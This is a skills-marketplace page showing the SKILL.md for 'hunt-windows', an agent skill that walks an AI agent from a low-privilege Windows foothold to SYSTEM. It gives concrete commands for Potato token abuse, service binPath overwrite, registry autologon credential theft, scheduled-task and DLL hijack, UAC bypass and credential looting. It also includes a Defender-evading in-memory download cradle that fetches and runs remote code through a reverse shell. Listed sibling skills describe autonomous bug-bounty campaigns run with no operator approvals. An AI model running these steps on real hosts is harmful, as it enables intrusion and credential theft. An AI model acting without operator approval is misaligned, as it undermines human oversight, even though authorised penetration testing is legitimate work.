本文へ移動
cccskills
無料GitHub で公開

hunt-windows

Local Windows privilege escalation on a STANDALONE / workgroup host, or a local shell on a domain member - foothold to SYSTEM. Token privileges (SeImpersonate/Potato), service misconfig (weak perms / unquoted path / writable binary), registry autologon creds, scheduled-task + writable-script abuse, DLL hijack, AlwaysInstallElevated, UAC bypass, credential loot. For DOMAIN escalation (kerberoast/DCSync/ADCS/BloodHound) use hunt-ad instead. Wiki-first, FIND schema output.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md6.7 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Hunt: Windows (local privilege escalation)

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Scope of this skill vs hunt-ad: this is LOCAL privesc on ONE Windows host - a standalone/workgroup box, or getting from a low-priv user to SYSTEM on a domain member. DOMAIN escalation (user enum, AS-REP/Kerberoast, delegation, ADCS, DCSync, BloodHound) is Skill(hunt-ad). Tell them apart from the SMB/enum banner: a single-label domain: that equals the hostname (e.g. domain:PRIVESC) or WORKGROUP = standalone -> this skill; a dotted FQDN realm (domain:corp.local) or a DC (kerberos/88) = AD -> hunt-ad. On a domain member both can apply (local SYSTEM here, domain moves there).

Wiki

qmd_query "Windows local privilege escalation service misconfig unquoted path SeImpersonate potato AlwaysInstallElevated autologon scheduled task DLL hijack UAC bypass" via wiki-search MCP

Primary page: [[windows-privesc]] (the full checklist + commands + Defender-evasion-at-the-loader). Enumeration: [[windows-enumeration]]. Kernel-LPE / Potato fallback arsenal: [[privesc-exploit-arsenal]]. Tool anchor: [[netexec]] (the full nxc map). Even on a standalone box nxc is the remote-side workhorse: --local-auth credential checks across the subnet, --shares/--dir/-M spider_plus, --sam/--lsa/--dpapi looting, -M enum_av before you drop a payload, --tasklist/--qwinsta instead of noisy -x equivalents, and the loot modules (winscp, putty, rdcman, mremoteng, keepass, notepad, eventlog_creds) that beat manual hunting for stored creds.

Exec channel (read this before driving a shell)

Windows footholds are usually RDP or a reverse shell, rarely WinRM (unless the user is in Remote Management Users). Drive a PowerShell reverse shell with bash scripts/win-rsh.sh <eng> '<one command>' and follow docs/shell-interaction.md: ONE command per call, NO injected markers, type $env:/$_ plainly (it escapes for the bridge). RDP-only, non-admin, non-WinRM user -> headless xfreerdp + an in-memory PS cradle (see [[network-services]]). Defender is often live: a dropped RunasCs.exe/winPEASx64.exe gets quarantined - deliver in-memory (IEX(New-Object Net.WebClient).DownloadString(...)), or a freshly-compiled (unsigned-but-unknown) stager, or a Microsoft-signed tool (accesschk). Solve evasion once at the loader ([[windows-privesc]]).

Methodology

  1. Enumerate first - tool then manual. Run Skill(arsenal) to pick the tool, then winPEAS / PrivescCheck.ps1 (in-memory if Defender is live). Read [[windows-enumeration]]. Then walk the manual checklist below - the intended path is almost always ONE of these, and a limited/service token may be blind to WMI so cross-check from an earlier shell in the chain.
  2. Token privileges - whoami /priv. SeImpersonate / SeAssignPrimaryToken (common on service accounts: IIS/MSSQL) -> Potato (PrintSpoofer/GodPotato/RoguePotato) -> SYSTEM. SeBackup/SeRestore -> read SAM/SYSTEM hives. SeDebug -> inject into a SYSTEM process. If SeImpersonate is ABSENT, do NOT stop - it is a deliberate block; go to the other vectors.
  3. Services - sc qc <svc> / Get-CimInstance Win32_Service. Weak service DACL (accesschk -uwcqv <user> * -> sc config binPath=), writable service binary (icacls shows Everyone/Users/you with (F)/(M) -> overwrite + sc start; runs as the service account), unquoted service path with a writable dir, or a writable HKLM\SYSTEM\CurrentControlSet\Services\<svc> ImagePath.
  4. Registry autologon creds - reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -> DefaultUserName/DefaultPassword when AutoAdminLogon=1. Reuse the recovered cred (runas / RDP / Start-Process -Credential).
  5. Scheduled tasks - schtasks /query /fo LIST /v; a task running as SYSTEM whose action binary OR a script it runs (.bat/.ps1) is writable = overwrite + wait for/trigger the task. Note the wrapper case (cmd /c script.bat) that icacls on the "Task To Run" misses.
  6. Writable-file sweep (last resort when 2-5 are dry) - accesschk.exe /accepteula -uwqs <user> C:\ (files) and -uwdqs <user> C:\ (dirs). A writable script/binary under C:\Windows\Tasks, C:\ProgramData, or a program dir that a SYSTEM process/task runs is a direct SYSTEM foothold. See [[windows-privesc]].
  7. AlwaysInstallElevated - both reg query HKLM\...\Installer /v AlwaysInstallElevated AND HKCU = 0x1 -> a crafted .msi installs as SYSTEM.
  8. DLL hijack - a service/SYSTEM process loading a DLL from a writable dir in its search path (writable PATH entry or app dir) -> plant the DLL.
  9. Credential loot - cmdkey /list (+ runas /savecred), Credential Manager / DPAPI, unattend.xml/sysprep.inf, PowerShell history, config/.kdbx, registry. Reuse across users/services before hunting new ones.
  10. UAC bypass - admin-but-medium-integrity -> a fodhelper/other auto-elevate bypass to high integrity (see [[windows-privesc]]).

Distill a confirmed reusable technique per hunt-core: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page cheatsheets/windows-privesc.md.

Confirmation gate

Windows-local specific; adds to the hunt-core gate.

NOT confirmation: a writable service binary / AlwaysInstallElevated key / SeImpersonate in the token / an unquoted path - these are conditions, not a demonstrated escalation. A reflected whoami that returns root/kali or your attacker host is the false-RCE trap (a dead reverse shell fell back to the attacker box) - re-pop, do not claim it (win-rsh flags this).

IS confirmation: you actually ran code / read a file AS the higher principal and proved it - a shell or command whose whoami returns the service account / nt authority\system (from the TARGET, re-verified), the protected file read, the SYSTEM flag captured - reproduced from your own written steps in a clean session.

Severity

SeverityClass
CRITICALSYSTEM / local Administrator code exec
HIGHescalation to another privileged local user / service account, SAM+SYSTEM hive dump
MEDIUMlimited token/privilege gain, a cred that only reuses laterally

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

arsenal

無料

Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a surface/service/vuln-class BEFORE hand-rolling or working from memory. Use for "tool for <service>", "automated tools for web/<service>", "what should I run on <surface>", "which tool for <X>", "payloads for <X>", "payload arsenal", "cheatsheet for <X>", "how do I exploit <tech/class>", "exploit/attack chain for <X>", "arsenal", any SSRF/XSS/SQLi/SSTI/LFI/JWT/XXE/IDOR/NoSQL/deserialization/CSRF/CORS/CRLF/GraphQL/smuggling/web-cache/OAuth/SAML/MFA/crypto/LDAP/XPath/WebAuthn/file-upload/IMDS/prompt-injection/Modbus ask, plus "privesc arsenal", "CVE arsenal", "default creds", "nuclei templates", "sqlmap/hydra/nmap/bloodhound", "password attacks".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Autonomous bug-bounty campaign driver. Runs a full programme end to end with no operator approvals - the deterministic driver (scripts/campaign.py) owns pass state, generates the killchain board from recon, and prints the exact next action (including which Skill and tool to run) every turn. Use when starting or resuming a bug-bounty engagement, "run the bb workflow", "hunt this program", "9-pass campaign", or when handed a *.scope wildcard to test for TIER1 findings. Single agent, refuter-verified, wiki-first, tool-first.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same. Checks vault-content consistency (scripts present, JSON valid, routing wired, all 69 tool pages carry phase:, the tool index resolves, the hook edits are in place) AND per-machine wiring (the three workflow skills symlinked, hooks registered, imports work), then runs a live init->board->next smoke test. Use when setting up the workflow on a new machine, after a vault sync, when the driver misbehaves, or on "bb-health", "campaign health", "is the workflow set up", "check hooks and scripts", "why is the board not working".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Bring up a REAL, visible, interactive chromium on the Kali VM that the operator logs into (Smart-ID / Mobile-ID / any manual auth or MFA/CAPTCHA), while the agent drives and observes it live through the chrome-devtools MCP (navigate, DOM snapshot, network capture, screenshots, console, evaluate). Use whenever a target needs a MANUAL login the agent cannot complete headlessly, when you need to capture an authenticated session / the real API calls a page makes, or to confirm/screenshot a DOM-XSS. Triggers - "open a browser", "log in manually", "smart-id / mobile-id / national id login", "mfa / 2fa login", "solve the captcha", "drive the browser", "capture the authenticated session / network".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

OFFLINE FALLBACK for the claude-md-management plugin - prefer that plugin when it is installed. Audit and improve CLAUDE.md files - scan for CLAUDE.md files, evaluate quality against templates, output a report, then make targeted updates. Invoke explicitly (/claude-md-improver) when the plugin is unavailable.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

coverage

無料

Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped. Use when asked "coverage", "what haven't we tested", "test gaps", "are we thorough", or before calling an engagement done.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Encod3d-Sec のスキルをすべて見る

このスキルの問題を報告する